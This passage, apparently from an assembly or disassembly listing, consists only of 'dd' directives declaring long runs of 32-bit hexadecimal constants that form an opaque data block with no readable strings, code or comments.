0F96A8554h, 0C4EC0020h, 24F7EC3h dd 0CE9066BCh, 7A675C02h, 0F9906C5Eh, 6FA4BFBCh, 1770C0CCh dd 1B5E96AFh, 0C064AC23h, 273471h, 32C8ACFFh, 4C3F4460h dd 51214700h, 1E0BECF8h, 34DF4429h, 5B19B600h, 12813527h dd 1637AB4h, 69E5333Ah, 3D4C5193h, 67C3013Ch, 0D3D066B9h dd 0C27360h, 8E7AFEABh, 0A49C93F6h, 5E0C9158h, 0FA171860h dd 0C9716037h, 5ED22AC1h, 94820E4Eh, 598523Fh, 0F8567526h dd 0ABC7C36Fh, 38804BAFh, 96274E5h, 25F88B52h, 403851EFh dd 375DCB9Ch, 743E400h, 2E586BC6h, 0A5200D4h, 22BF1F57h dd 6D60AE6Ah, 14D5DF78h, 50C90466h, 0A25674A8h, 48BA00DCh dd 323A5ABh, 1EB802FCh, 1469D1B3h, 99402CFEh, 344989Eh dd 0F5039B0h, 22C86ABDh dd 0AE443EC9h, 0D3DEC785h, 0B328D38Ah, 0F34847A8h, 6CCF6309h dd 0F5090191h, 4062A34Bh, 8DC5A16h, 52621B18h, 0BD74C1D8h dd 0C0465F12h, 0F2E3421Ch, 709A4B03h, 1C61C9B5h, 7982D2E4h dd 149B253Ah, 341E5490h, 17E2673Dh, 34C83D9Ch, 8B09D4Ch dd 5E24BA5Ch, 102FAC85h, 5E2CED64h, 0FCD4DDE5h, 0AC001A1Eh dd 58192E22h, 184DBF4h, 4634F999h, 38E89A28h, 0CE7F2594h dd 0E0C0BF90h, 1B144278h, 41CFF541h, 54852B38h, 1653108Ch dd 84C39F49h, 0FAF48CB4h, 938E5200h, 4BBE7119h, 88904E39h dd 290043C0h, 508D18CCh, 2E45DAFAh, 0DCA68Eh, 1F094D8Ch dd 294F37D1h, 0E0B2EC56h, 2F89E211h, 6F2400D7h, 0FF389007h dd 4F5F02F2h, 0F40F14E4h, 0C0D221D5h, 8C497A3Fh, 0DDF51EA4h dd 5C0BAF9Ah, 176A1841h, 6C4489h, 0C0B96B72h, 20B39462h dd 4BB5B813h, 181FF4A2h, 60F7C098h, 3979BBAFh, 972B6100h dd 0FECB23E1h, 361A2D20h, 0AF1DCCE4h, 0AD855B09h, 0C4041CDh dd 0F9666548h, 0BEC90F1Ah, 0C2F6E33Fh, 0CC6EA0E4h, 6D5E2B00h dd 7417FE31h, 205B038Fh, 0E121DFD8h, 0F654F10Ah, 3705A442h dd 0C0E06B1Dh, 32C0B8DBh, 8751A1B8h, 48C2E820h, 3A0D00A5h dd 4C38D43h, 0B800221Dh, 1797B731h, 4CAEC949h, 0FFC090C8h dd 480A8B94h, 98D0E35Ah, 0C3FFAB7h, 0F64BA4D7h, 0BA0E6618h dd 223A6F7h, 0E1557052h, 9B082508h, 0C422384Fh, 0B0D01220h dd 20668720h, 9D74749Ah, 0C0AD0127h, 442CDD74h, 3F4A9BDFh dd 5A8054A2h, 0ACFBC299h, 0E043BD00h, 50F79068h, 6F61F9BAh dd 0DE01EC62h, 725AF9C3h, 469442A0h, 0EEA35402h, 0E4F4B4h dd 670613BEh, 6A87EA8Eh, 4AE07B48h, 0D60098F3h, 49EE8577h dd 1F0FF8D0h, 223DA85Ch, 0F8CBB715h, 5E530258h, 832A20EDh dd 0EB3FC20Eh, 60FCA9A4h, 8AA3FCFCh, 9895E400h, 0CB00ADA2h dd 0D1031B22h, 5868C2D5h, 0C109BC45h, 0DC103F67h, 0D30049A2h dd 0A4C2BDA0h, 62F9F4DEh, 0BC4470A7h, 1479680Dh, 0A6AAB213h dd 73620058h, 0FAFBA728h, 8F9F005Ah, 92CACB26h, 6E001D8Bh dd 94FB5BBh, 2D6F13EDh, 0E42BEC05h, 0DA200CC4h, 5E671771h dd 3034904Ch, 1C01CC96h, 3304E7B8h, 206E4E0Ah, 0DAC1C230h dd 38A93003h, 0E89A9832h, 1E0F13AEh, 4147699Dh, 0BCEE757Ch dd 0FCC47F46h, 30D7CC8h, 2DB6AE1Fh, 70E807C9h, 0E9001079h dd 9A207EC0h, 0BCED8A47h, 88464110h, 0F6BC70D7h, 9C3E8E26h dd 0EF9BFA40h, 0C8300060h, 85DFF527h, 39052D52h, 64120DB4h dd 704034F1h, 0BE49147Bh, 11C81004h, 0F8CEE760h, 0DC653CA0h dd 0AC0017C5h, 4BDBF9CAh, 0E2CE0CC4h, 57C22E4Fh, 813026C6h dd 79044ABFh, 2AA42555h, 0DC2EAC22h, 32A04FB0h, 0F4F54764h dd 49746303h, 9484C3BDh, 37F084C1h, 0B96E6020h, 752508A8h dd 3E0B404Ah, 1738024Fh, 8FCCFECEh, 0A2E0F75Ch, 0EBC4689Ah dd 0BC7D3700h, 0F05751B0h, 0E4E5959Dh, 0D200DE9Fh, 76667BB7h dd 10740B72h, 0E00B6C4Ah, 0CE80F459h, 0E05F6446h, 0B5724A8h dd 0C01545D0h, 3FB04FA8h, 0FDDC6009h, 8058C5E8h, 51D135E2h dd 69006B84h, 1A046E92h, 9A0C44h, 0DE77CE12h, 75A81D3Eh dd 6B0A622Fh, 591CE8F4h, 18B14DEEh, 0E7E53A13h, 3B1C0038h dd 0B5739D34h, 50ECF3h, 7D1B7E41h, 224E76F5h, 5864F84Ch dd 1AE3D5Dh, 9FF45748h, 68F0F1FBh, 0A57D4A31h, 5CD44074h dd 0B9003994h, 2497BDA7h, 0BE821D1h, 84506F3Ch, 5280E4F3h dd 0BD82DFC6h, 9DBA07EFh, 70BBC74Fh, 0A371019Ch, 393BE880h dd 953BE1B9h, 0BB506208h, 49743E8Ch, 0C137714h, 2196F6F0h dd 0F4F8F5B0h, 104A5C27h, 788E860h, 76B01F2Fh, 8128153Fh dd 92653B0h, 0CF83347Ch, 5EC8EF96h, 2D00A816h, 1D14D940h dd 0FC6D5580h, 0D0562FD1h, 0E973E402h, 44118400h, 0C4518289h dd 4EFD6C00h, 90287F18h, 2DF2E3h, 1B487074h, 54B8B3B1h dd 17CCAF4Ch, 98F1118Eh, 202BE821h, 13FEF498h, 0D972FD00h dd 60CAC128h, 3A5E31h, 0F29D76D4h, 17126942h, 0A40EDC4Bh dd 630883F9h, 0EA51C07Ch, 7CB0929Ch, 0D1F814A2h, 0DDC9DC1Ch dd 461F9871h, 8DF4C300h, 48853DCh, 0BCD66436h, 1827AF4Bh dd 7CC0AFB4h, 80E932h, 0F51A3D2Eh, 67EA7E70h, 0B80AA60Eh dd 562B13h, 85A9A59Ch, 0A1DE0ED9h, 0F0320478h, 0A7229724h dd 1F020EB6h, 0AA604A33h, 2E46BDBAh, 8F388312h, 508CD484h dd 0AFC90205h, 298288EFh, 43B27D40h, 0BBA38526h, 0FFAE843Ah dd 0F88C9DC2h, 14EE58F6h, 0C8508C12h, 0FC91FD14h, 7E5B6D00h dd 2737F33Dh, 80E4C4E0h, 27C85256h, 101438h, 18C30BA8h dd 0B31FD2A3h, 0CCF4022Bh, 30301513h, 786FEAD1h, 46510099h dd 1587144Ah, 5304DD4Bh, 6907237Bh, 923B9CA2h, 745562Ch dd 0F0E4D8D4h, 2777AD1Ah, 0E2B4EE3Fh, 0D185B740h, 822500C4h dd 8874AFE3h, 0B0C96401h, 237E97AAh, 9BC5403Ch, 3838CC0Ah dd 1AEFE744h, 84848967h, 3A41085Eh, 4028DCBEh, 0FD88E0C8h dd 908C804Ah, 79077432h, 0CA586E02h, 40E714F4h, 50D28EFBh dd 12562844h, 12E195Ch, 0BDCF844h, 5258309Fh, 4A84D244h dd 9E8206Ah, 8CBAF828h, 1546F144h, 7C77ED3Fh, 7DCF1100h dd 96D23357h, 4F1A1001h, 50B132F6h, 6680983Ch, 0F140C034h dd 0C5E1D0Bh, 65C09867h, 4D228877h, 81F3E18Bh, 687160A5h dd 13859180h, 4DCCB0h, 8DD1303Dh, 36E45C9h, 3B933400h dd 0B41DBAC1h, 8A75EC9Ch, 3D0F34E4h, 0A099E42Eh, 0A7C27B4Bh dd 0BECC1CC1h, 0F236C2FAh, 4046EE82h, 0E94F0A04h, 8F9C662h dd 0C8C2D21Ah, 0D62CE011h, 438958A4h, 22DDDE3h, 3006F949h dd 9C6246A0h, 0F844440Bh, 6D12A501h, 9E7A06ECh, 313AA9ECh dd 6B29B930h, 9A2DCDBh, 9606D51Eh, 63DA39C0h, 0BE2EE26h dd 377D9CCEh, 0B71CB4C8h, 0D66DFE2Eh, 0F868003Bh, 796EC021h dd 3E71010Ah, 3446CBC3h, 5F318052h, 0A00EADC4h, 268C075Bh dd 404E9156h, 0F24CEE69h, 0A7E4BA0Fh, 24B2172Bh, 0DF736E00h dd 710EFB99h, 9B793001h, 0C6E1BB55h, 453A5E4h, 68853D8Fh dd 7370CDF9h, 4921C8B8h, 7A00D844h, 8FE5E262h, 2D1C04ADh dd 1CC4DABBh, 65C48E00h, 4EA6836Fh, 2EC216AFh, 23482031h dd 6D005E79h, 7C091A5h, 24B6BDEAh, 0AFB402B7h, 7751F460h dd 8A48B0B5h, 0FC3400A9h, 4C497ABDh, 0FE3EEE35h, 0FD6F0280h dd 0E0F13651h, 0C274655Ch, 0B8A01E62h, 77F0105Dh, 0E289FEF2h dd 4DE001DCh, 82E32CBCh, 0EEB6FCBEh, 572A110Bh, 2CE0F109h dd 4C3704FCh, 4EFE4096h, 0B75C85h, 0B4C7A40Fh, 829E0AB9h dd 2B498B02h, 5C09BE47h, 0FA15897Ch, 5C00DC64h, 12570427h dd 0A029B3C9h, 0C2800Ch, 1E849A9Bh, 22BEB0B5h, 0DC5E6CE8h dd 34E88489h, 30A66F12h, 4AA39F80h, 3AF1B552h, 357498h dd 218C2F8h, 0B9C38B19h, 15315A00h, 0EE0FF3E2h, 51F22E09h dd 0ECD40440h, 475CC00Dh, 3E589B3Fh, 23EE84C4h, 2B8010F2h dd 8E9A1699h, 2C645200h, 0D918359Bh, 56CD025Ch, 23224A54h dd 175FB880h, 14B4D59Ch, 0CC3C30A4h, 88605A44h, 0E2AEBC12h dd 5B8F0AA6h, 60B456C9h, 5F7ECF5Dh, 95048400h, 0F13144BAh dd 0EEC90230h, 1740508h, 6704A8E6h, 25DF2CFEh, 0CCD5488h dd 724110DCh, 920F6C11h, 0A8C35h, 8F1E9B5Eh, 0F24907FFh dd 9C41D172h, 0EB07E429h, 455AC943h, 3F06157h, 15B22CADh dd 0CC1E7F7Dh, 3E93B11h dd 87EDCD46h, 0E6113FF2h, 99C3A4DCh, 53D06338h, 0B22534EFh dd 1D38F3AAh, 0CCDB401Ch, 3078F20Bh, 3995F300h, 0DDB4BB83h dd 0A8AB04FFh, 0D8824956h, 0E20450F8h, 0F76664E7h, 24969482h dd 8044BCEEh, 9C3586BEh, 8C3F5A90h, 0B109A044h, 9AEA6BE3h dd 45307688h, 67644482h, 314CBD57h, 1B84B189h, 0C8F4272Ah dd 0F91D9D40h, 0E89B5898h, 0C1F4D701h, 7307EEBCh, 4620398h dd 94BE4AD9h, 76011081h, 12CEF010h, 249D140Bh, 4BCC48CFh dd 597000ECh, 0AFEB06EFh, 809860B2h, 741DD4B2h, 98175883h dd 0C4C2D849h, 3E791EACh, 0C759075Ah, 661A1078h, 9901A4B9h dd 0D5D1131Fh, 68321B41h, 1F00A690h, 0E2F4395Dh, 849087C5h dd 315048BCh, 7021DADh, 1A57A4A7h, 606E7818h, 50D39h, 3A15E3D5h dd 12DD17A3h, 0FA15Eh, 0A91B52BDh, 3C4FD683h, 1AE840C9h dd 4221003Bh, 0E89EEAC6h, 0AF00334Dh, 10CAECF2h, 9A94806h dd 0ADB70902h, 4700F459h, 0DACC3EE7h, 0A20129F0h, 0D030928Ch dd 0B27E2A24h, 2049B000h, 0BC894304h, 0FEF0E9h, 30658298h dd 0C91E8E1Ch, 9D909C59h, 34D0D2D7h, 1462F6Fh, 0C6907892h dd 0FD3AA36Dh, 0E82355h, 29855143h, 0E247376h, 1182066Fh dd 31DF5138h, 9616E499h, 8218A600h, 5235E5Fh, 95B2F2C1h dd 877CBCDEh, 0E254414Fh, 0BCFBB8C0h, 4A2498B4h, 881CB31Ch dd 51FE42F3h, 921C015Dh, 10204A5Ch, 6A1C2666h, 8CE117A8h dd 4C5EF068h, 6ED8880h, 1AB7C44h, 5FE7B3Ch, 7CFA68D3h dd 0C9479C5Ch, 9F806781h, 0BDDF47F1h, 438B490h, 0BBC40E00h dd 5F5760Dh, 0F1891D2h, 8C419AEDh, 7BC6435Ah, 0C368E070h dd 1F6496D7h, 4C4B2282h, 0D42F6490h, 51AB0079h, 0E13D86E8h dd 4B70C2C9h, 0E4CD6F5Ah, 0BCEC136Ah, 56C2A0C0h, 577000FAh dd 9467B4F7h, 0B0043AAh, 0DE76EE3Eh, 0DFA8D0h, 52A4499Fh dd 0A2F646C6h, 28886497h, 4EE456BEh, 68CA1Ch, 0FAC05A73h dd 10F3BB7h, 4897B9B1h, 2E24C983h, 0BBEC2CD1h, 27DC0200h dd 39CEF900h, 2C83C2FBh, 47F209C8h, 20D177F6h, 19927807h dd 433021AFh, 9C600491h, 684648B8h, 0A7FE7D22h, 0FEAF9600h dd 6159CE9Dh, 99821F53h, 8C6EA1h, 0D00D2C14h, 2958DB9Ch dd 359E9E6Ch, 0CE746AC1h, 5C07F58h, 4F761CB4h, 0A0F38039h dd 0A65B4C5Ah, 0AC7390D3h, 5E5F9CDh, 0F4B0C02Ch, 0FF14973Fh dd 406425ECh, 90024FA4h, 0AF53D10Eh, 448C7EBEh, 1F90ECDCh dd 0B29F41D6h, 0EC047892h, 0BCF0A9C5h, 823E003Dh, 0EC52F42Fh dd 0D0DDCACEh, 6E668742h, 1BDF0789h, 0C4FBCC8Bh, 4DA14080h dd 328C9Bh, 0FC947CB7h, 2B1E7ED7h, 586695h, 0BB0142FBh dd 721465A3h, 6AB6850Fh, 0EAD70062h, 0B8867D8Eh, 0DD9705A3h dd 0B9BF9026h, 0F8548E04h, 0E21499A2h, 0C03800B2h, 694F2CC1h dd 9702AB82h, 64C71B7Eh, 247C4183h, 4F621434h, 2454E250h dd 48582C17h, 7B1500DDh, 0E02FEDF6h, 3C3F7A2Dh, 58D35ECAh dd 9D4104AFh, 58B3ED2h, 0CE8E888h, 0BBE4A04Fh, 0C495CBB8h dd 84343000h, 96762861h, 186F2916h, 1210809h, 9E5601C0h dd 9855EE02h, 5BC36740h, 1E8CDA9h, 84BDADE0h, 88336AC0h dd 0AE84640Bh, 277C9298h, 94A6DC7Ch, 0C302A311h, 4F9BF121h dd 3F002C44h, 319A855Eh, 6E838Eh, 25DA79B8h, 6C463A08h dd 0A1C78204h, 6C80E942h, 0B7B8B24Ch, 0E4DA5C31h, 27017062h dd 24BEE5DEh, 1FF54578h, 3C016EF8h, 0E1CBBDA4h, 0F8306F44h dd 3A490583h, 0D9E3A44Ah, 19F8D3D7h, 2D4C603Fh, 24422675h dd 20B33740h, 555E00F6h, 9E0660B4h, 2900633Ch, 0A133ACC2h dd 1946626h, 0A6B89AF4h, 6C3D3B9Bh, 4096882Ch, 0BD19983Ch dd 88CDAB17h, 0F4DF9C61h, 0A2C2406Ch, 44E062B3h, 6103AD1Eh dd 35698477h, 0B0C10B71h, 24451B88h, 1DF1FF00h, 0A4F962h dd 772B611Ah, 0AE4219F0h, 2D475D00h, 5164E089h, 91705BEFh dd 0C8A8C548h, 0DC000683h, 0EC3A68C9h, 4089CE14h, 3F00448Ah dd 4CF7E498h, 722613BAh, 72A50271h, 0D1296A9Eh, 6F0044D9h dd 714F7DFDh, 27670012h, 0E12CB642h, 2401330Ah, 29BA7234h dd 702A74A5h, 815EC040h, 36F82A54h, 5F942802h, 817BFAF7h dd 210EA0B2h, 2BF6D460h, 32075BAh, 3C608449h, 7CA229A0h dd 0E73B0715h, 0CCA05A68h, 0DC590F5Eh, 5D12731h, 0B3C7EA66h dd 3C148684h, 73401EA8h, 0A21CD000h, 77E7AB50h, 20877AD2h dd 0DF7688F6h, 104CF92Dh, 27F7Ch, 14ED28E1h, 0B3F789D7h dd 5D684803h, 0AAD1A8F8h, 1305A4Ch, 9E05C556h, 0C897F28Ch dd 3503015Fh, 7B72A11Dh, 80B48Dh, 9C94D836h, 3CD44004h dd 0B400F6D5h, 0B979B6CEh, 74D15E09h, 0B82D12DCh, 3BFC9042h dd 0BE0076F1h, 414ACEA6h, 0E0F654Fh, 74286F3Eh, 0F180E888h dd 7C71203Fh, 0C40717F2h, 23110964h, 0F0421CE4h, 0BD008C42h dd 91A4D1Ch, 64086ED6h, 6EFDA9C0h, 3B2D3720h, 684C1449h dd 0D31513B1h, 0D995D420h, 910A254Dh, 4600B954h, 14837E09h dd 612896DCh, 10843029h, 1ACF22h, 4BED2B59h, 0DC7697E4h dd 2781E20Fh, 0D4E10536h, 823CC8h, 0AC696B47h, 4CD5094h dd 0B828ECA3h, 2E0328A6h, 2F7666Ah, 37B6D0F4h, 2D3007C8h dd 16D0FAAh, 0F6DF0880h, 200220F1h, 803039C8h, 0C923E0C1h dd 2CEE2DB8h, 860B8064h, 709B5551h, 0CA694F34h, 0FEF40478h dd 0D084C4D4h, 84491897h, 1E5271B0h, 0C00289E0h, 0F240D07Ch dd 413F85h, 5BED5ADEh, 0C6862735h, 61292630h, 0E21C14BFh dd 0A156008Eh, 1B91FA60h, 3C127197h, 4859E16h, 0ACF4CE84h dd 0E6CB1251h, 0C4F0A8BCh, 98C8A7F9h, 96BCB63Fh, 5D100DFh dd 39FD26F1h, 0E284706h, 1221A0A1h, 0C83E9C15h, 64019768h dd 4AE270BDh, 0C42EA6F6h, 7020AA38h, 7F7C17B4h, 0B9DE1A04h dd 0B842EEA7h, 32497823h, 790F86F0h, 0EA81CD0Fh, 4B174334h dd 0CFE7A93Fh, 3B7B002Dh, 0C820482h, 0DCF6169Dh, 3B346860h dd 8822FE5h, 0BE54A409h, 4B1C00FAh, 55AA5167h, 6840809Dh dd 0CEBB3881h, 7BC1E329h, 205BC62Dh, 3F050EC3h, 35CAC72Fh dd 1ECE3C80h, 0C8315CD8h, 6E73F180h, 0A6001351h, 9C255DA0h dd 255B7533h, 847AF6E1h, 0B438EC29h, 5C5F4A89h, 30715060h dd 9386731Dh, 0EF7A6D00h, 4A87E5FBh, 52FC2111h, 846608A2h dd 0EED5DF25h, 36DC1280h, 5DCCF85Dh, 823A01E4h, 0FE3CE992h dd 9D06B9FCh, 0F003D8EEh, 52059AD8h, 1986903Bh, 91200B07h dd 868244DDh, 8C5961DBh, 4F007E3Bh, 0C61B48A2h, 0B2AB769h dd 88DAEF72h, 3B091087h, 1F01B47Bh, 9464D915h, 16304F0h dd 7B8EB04Fh, 0CCC4A70Bh, 173B887Ah, 3FB0D2B2h, 0D8708031h dd 0C1A46990h, 3B660095h, 839B053Ah, 5CBE56BEh, 983CA63Dh dd 0DC0A7217h, 0BA13EC6Ah, 3638C8h, 3383BE9Eh, 7C242C3Ch dd 0C39B9500h, 0AD6734D2h, 0E2F5F71h, 0B99AD37Ch, 0C3B61885h dd 6CEA0ABCh, 74EFA90Fh, 0D6A24050h, 0C29716EAh, 678C1188h dd 7C6CBF8h, 60F8C29h, 6815F05Ch, 75CDDB2h, 95DCC0B0h dd 44179DE0h, 32765584h, 1078E45Ch, 0ED00BCFFh, 0AA4609DFh dd 13480B3Ah, 78522B8h, 0BCCE927Eh, 0F26011CAh, 4EC430BDh dd 0EB77EC13h, 6122CB2h, 40EF1EA1h, 0AB20DA12h, 95013EE8h dd 3B3D766Ah, 0BCE821FBh, 797716DCh, 8D0CB073h, 4A482200h dd 46AC5CB2h, 36540067h, 0DFEFDC58h, 909DD4Ch, 303DCEh dd 6A3E2CBCh dd 0FCD32C14h, 93E04504h, 8948D0D8h, 98EA2298h, 82D35A33h dd 5F251278h, 77C908Ch, 1766FF1Bh, 106E57C3h, 1607D89Ch dd 0B8F9200Bh, 0E3064F5h, 1BDA46E5h, 84F9C94Bh, 0C0D02D0Eh dd 4C403163h, 798365AFh, 3ED88837h, 0E304F900h, 0AE2229EEh dd 2C87A19h, 24DDC5A0h, 0E041EA0Ah, 9B503078h, 3BE188h dd 505E20BAh, 0E02BEC36h, 0D9199912h, 909A13EEh, 0C71A839Ch dd 26B9700h, 0B4E8F54Dh, 8FA10980h, 0BC402ED4h, 2989A6E1h dd 70902BE2h, 8DFA0BF4h, 1F58C600h, 3F4F6B53h, 83C10099h dd 0BD193617h, 294FA8E6h, 0AA00445Ch, 4E668AC7h, 0A84099Dh dd 0CC4C70F2h, 18C8BE5Eh, 46300E01h, 8D4065F4h, 3F8F3284h dd 0A2128C16h, 0CB953B00h, 5A6F065Dh, 8D7C08BBh, 920FD242h dd 941057F4h, 26390594h, 74138EEAh, 0A6DB20C6h, 0B37F7A3h dd 5572515Dh, 305E3419h, 0AC3E4A53h, 0C594583Ch, 0CC807041h dd 0D67FF8E3h, 72C49B9h, 9B8064EAh, 0CD0838A2h, 34C6712Ch dd 0C5F46800h, 5C60A7C8h, 8430F404h, 836B0F99h, 7302C00h dd 5D406646h, 0B4440029h, 76DFF723h, 1800F254h, 0E1DC4BFDh dd 0CA654341h, 880F9A8h, 0FE0BE987h, 0E27C11E8h, 5FA8283Ah dd 69455400h, 9632EF3Ah, 82CA001Ah, 0DF659F6Fh, 6603AA53h dd 46C91BD4h, 7458043Eh, 0B9430A62h, 2B44C258h, 13026008h dd 1C9D2EB6h, 6BCE88A4h, 50B8B283h, 0F7460708h, 0C063834Fh dd 0C2313442h, 54DBEF00h, 53DDF44Dh, 0F4554C47h, 6150E9C0h dd 3AE0AED3h, 0EF286C0Fh, 4B8A20C6h, 26532340h, 60209717h dd 5B381AECh, 8352AD0Eh, 0FF1F200Fh, 0B86F0AF4h, 3CC54CB2h dd 83992C32h, 524074F4h, 810627h, 2FBBF696h, 0C3C8FDCFh dd 31B50702h, 4670EF53h, 25A04E4h, 0A011F625h, 2C4ADC34h dd 8514B888h, 4B80319Eh, 5F653DF7h, 995E0039h, 7747FD94h dd 76FA11DEh, 823F5A17h, 0CEC0FCE2h, 0CAC87009h, 8D14A400h dd 75E1D85h, 0E8AF0072h, 0D233AB6Fh, 0B09F7FADh, 73F6AD4h dd 4F0B2FC6h, 2A96A3D4h, 515A22D8h, 29D29302h, 7F94283Bh dd 3EF90C98h, 73B9CF25h, 35F70074h, 0A4F457C9h, 0E069FB27h dd 0BC74E76Ch, 61D3C098h, 75000BCDh, 8DA585C8h, 122A27A1h dd 3423056h, 0CC1E9FD8h, 24DAFDDAh, 9201BFFCh, 6E30DDA8h dd 431840Fh, 64AC287Ah, 6FD5C100h, 230AD8B6h, 0A0331603h dd 91AC0146h, 69A78440h, 475900F8h, 36D9EEF6h, 997201CEh dd 8268DC8Dh, 82683817h, 51EFAB69h, 32151370h, 220DFF0h dd 7068AAEBh, 0BB25048Eh, 0C04289D1h, 0B42252D0h, 82786AC2h dd 389B5F60h, 8D8082E5h, 0E9205F26h, 7A48C014h, 5716640Ch dd 0D0C89E16h, 0DB78014Dh, 8930319Bh, 128029F7h, 90FC5CDCh dd 3C467800h, 9C0A2890h, 846CCC01h, 471C861Eh, 0F2D7143Dh dd 8EB0E04h, 1C1B22B1h, 45E18084h, 45C3349h, 0B2349071h dd 8074D5A9h, 6D57F148h, 1356EF3Ch, 0DC88C314h, 105FED4h dd 91F2134Ch, 6A714AD6h, 3A54CA0h, 89ACCF60h, 4CF2F198h dd 8D001852h, 5CFCECD3h, 50167D33h, 9E84E835h, 0B3644074h dd 934A1CD6h, 0F6FC7C80h, 0A44E022Ch, 3E4A92B0h, 0C91FCD8h dd 16435D80h, 0EDEFE7EAh, 0B913A07Eh, 32FCAC0Eh, 0C8388B18h dd 13BAB53Ch, 0FC9C9540h, 54885ED8h, 0D9540248h, 5283E74Fh dd 80B7CD6h, 6B8056BAh, 0B1EEA090h, 3B7919E4h, 43008473h dd 97B30C44h, 0F68D115h, 0D96EB8C5h, 23DC0DA0h, 620898E5h dd 6B120Bh, 0CA4EC3D2h, 0A249B85h, 67420CB4h, 1F9C5E96h dd 0A9C2CF55h, 0F0F797h, 18B142EBh, 2C407D94h, 95BB40Fh dd 680EDF7Ch, 0A0C89350h, 14A82E61h, 0A1B5051Fh, 2BD4C2D1h dd 6F1C5C29h, 29314240h, 6800F6F4h, 8DA04F9Ah, 60340462h dd 5036D822h, 0E01837DCh, 6769B1A8h, 236FEB3Fh, 0A9166108h dd 0ECB430DFh, 104F00D8h, 2D90511h, 52206480h, 0DCA72507h dd 0CC3C70D0h, 885C5C61h, 0FDB08091h, 5AE24B59h, 0D1AD0C00h dd 8CB56DC6h, 9CE514D4h, 15098C35h, 18F64AC3h, 0B5C0EC6Ah dd 5F55F488h, 0FB6C9889h, 48FF1A00h, 41C24793h, 2C9095D8h dd 6E00DE3Bh, 1CE28ABBh, 1DBC798h, 35062388h, 3FD33648h dd 32184CCh, 2C091B78h, 0C6C1ACF5h, 2D842C60h, 6CF117h dd 19BE29E0h, 543CC338h, 0CE1414DCh, 8E10010h, 0D206010Ah dd 321F2DCCh, 5988F47Bh, 53829E6Fh, 9D2030B8h, 27099037h dd 7E04F83Bh, 0D4142D14h, 1EB5DD02h, 80BD2423h, 9AF005BCh dd 9CE80190h, 13EEC904h, 867C7858h, 360A344h, 0D87A850Bh dd 9F016DCh, 4891A8FDh, 0A4674E80h, 3E2AD3Eh, 32CB70E9h dd 0F2CDF7A7h, 70245E4Ch, 32839780h, 9E9900C6h, 5584E028h dd 415CFBF1h, 788A02D7h, 5AF5FF9Bh, 8B9020C8h, 6F09DF00h dd 0E5D8E9D6h, 128B9D4h, 27D46FCh, 0ED6EFCCBh, 9BC63E00h dd 0C36C08FEh, 0C47A01E7h, 0C13695A6h, 2F6070CBh, 2CF0774Ch dd 0B050CC87h, 0CE630790h, 100D64FAh, 0C65966CDh, 6C805000h dd 5F68ED4Bh, 352401BAh, 0FDAB9A6Bh, 0F0C52E92h, 9449B830h dd 9E290CA4h, 37B8F1F4h, 521C7005h, 0A0C247FAh, 4B4C50A3h dd 17D04DE5h, 38606AD0h, 48ACFC1Eh, 23008724h, 0FFA70AF0h dd 51259B52h, 897019F6h, 76608410h, 0B691C091h, 20CA0101h dd 0E0D8ADBDh, 0E81E2AACh, 0CECAC07Bh, 6001871h, 0CCB2557Ch dd 3E9B25A9h, 0A8012C64h, 88BDF2EFh, 0DC2E6F69h, 0F903F058h dd 991B2C0Eh, 1F9AD808h, 3F6416F5h, 8C24127Ch, 0EE00EC44h dd 6EE44314h, 752B01B0h, 1A460BC1h, 1CC23ADEh, 0C76A0860h dd 0BB44D494h, 8600F54Fh, 0F49C5294h, 0E380DE26h, 3D37D700h dd 0AA66B6h, 0F2096755h, 25DDBD9Ch, 7BB8B125h, 6FE400C4h dd 0BC906DD9h, 61E09AE0h, 43B1CB00h, 0C1084CA7h, 26B80BC9h dd 0F4825280h, 98FC6D62h, 0A8816841h, 5B26ABD4h, 0D1D440FBh dd 0AABA29A7h, 112FF0B1h, 923F3794h, 79E0AC20h, 26583306h dd 0E4D3FA6h, 0B6C20C34h, 0EF424423h, 0FDC19592h, 9F7A0010h dd 6B46E000h, 0EA9B3F50h, 0E25900EFh, 0FC6083FDh, 4100938Fh dd 46CCCF21h, 0E9A1B7F6h, 5040D7F9h, 5260F487h, 0B322A889h dd 6325CD00h, 0EE435E52h, 0FCF00C6h, 0BE3E606Bh, 96004ED0h dd 856C2848h, 0C3A111h, 20F5B2Fh, 0C42278EAh, 845C5E06h dd 0C18C1B2h, 0E79D8533h, 28C14860h, 5DFB1EBEh, 1FC75BD0h dd 8F5CF837h, 5AC096F9h, 0CDAB84C3h, 0F425D701h, 36B43875h dd 0BE4EE8h, 19B77CA5h, 3F481F02h, 4D57C507h, 0F340677Dh dd 94E081h, 0F178A67Ah, 0AD46FDFCh, 44D23500h, 0C6AE9892h dd 0C9EF30E4h, 47767148h, 0D57A6000h, 36D82BB3h, 669C01EBh dd 8D70831Fh, 0CE28801Bh, 0C3216AC2h, 6D4E0317h, 0D801C5FEh dd 5C9E2BB8h, 2EDF4000h, 304B4743h, 7AE31871h, 22CA3834h dd 0F697BC0Ch, 0B910A6h, 3EC1E578h, 0EE234EACh, 8656D11Ch dd 810018E8h, 4667D63Fh, 2190BBh, 71AF4930h, 19C57F83h dd 0D0B42724h, 0D2E7A506h, 132600C9h, 252A5A10h, 88007231h dd 32149F2Bh, 0F86061h, 5786B1D0h, 4A20CBA6h, 9AE1D30Ch dd 18A57073h, 0E9198F9Ch, 0A2079FB3h, 650D8ED5h, 0C8BAB180h dd 0CC6A00BFh, 0D9827528h, 0B00046F7h, 2EED5F8Ch, 304F4145h dd 0A5C1B21Bh, 11078D48h, 18D35519h, 0DEE058CAh, 0F60C8C8Eh dd 8957006Fh, 479BD383h, 9A035E90h, 0B0F73D6Eh, 3328F8A6h dd 7C706015h, 4AD868EEh dd 1E5E9F48h, 0B1009C64h, 297F3D2Fh, 43BA30EDh, 0ECE7CE61h dd 0EE546BF0h, 7100E2BCh, 0D8291548h, 0A89E93h, 49679F19h dd 0C2DAC466h, 0CCFF472Ch, 0F7225200h, 60E76F4Eh, 20D251EDh dd 8D031D4Fh, 0EAFC4059h, 0CA6900D1h, 7189FF77h, 0BB0A13F3h dd 1C3930EBh, 81F18D0Ch, 0EE580350h, 0FB13B13Bh, 37B583C0h dd 0C648FE00h, 275A6772h, 0EC650174h, 0CAC7E49Eh, 0F26D0CA5h dd 629300CFh, 39C41C2Eh, 704022D0h, 317266D2h, 0B8001CBCh dd 0B4C071F0h, 486776h, 0E11087BFh, 0AE189F84h, 0DEE74418h dd 0D0FC59h, 4C9E7172h, 34C38F26h, 661C797Bh, 0C76468EFh dd 7FA9E930h, 459D00ECh, 89265C15h, 47F8819Fh, 0ECE50229h dd 4F1BA403h, 7616D009h, 9B2A00C0h, 276303DDh, 9200515Eh 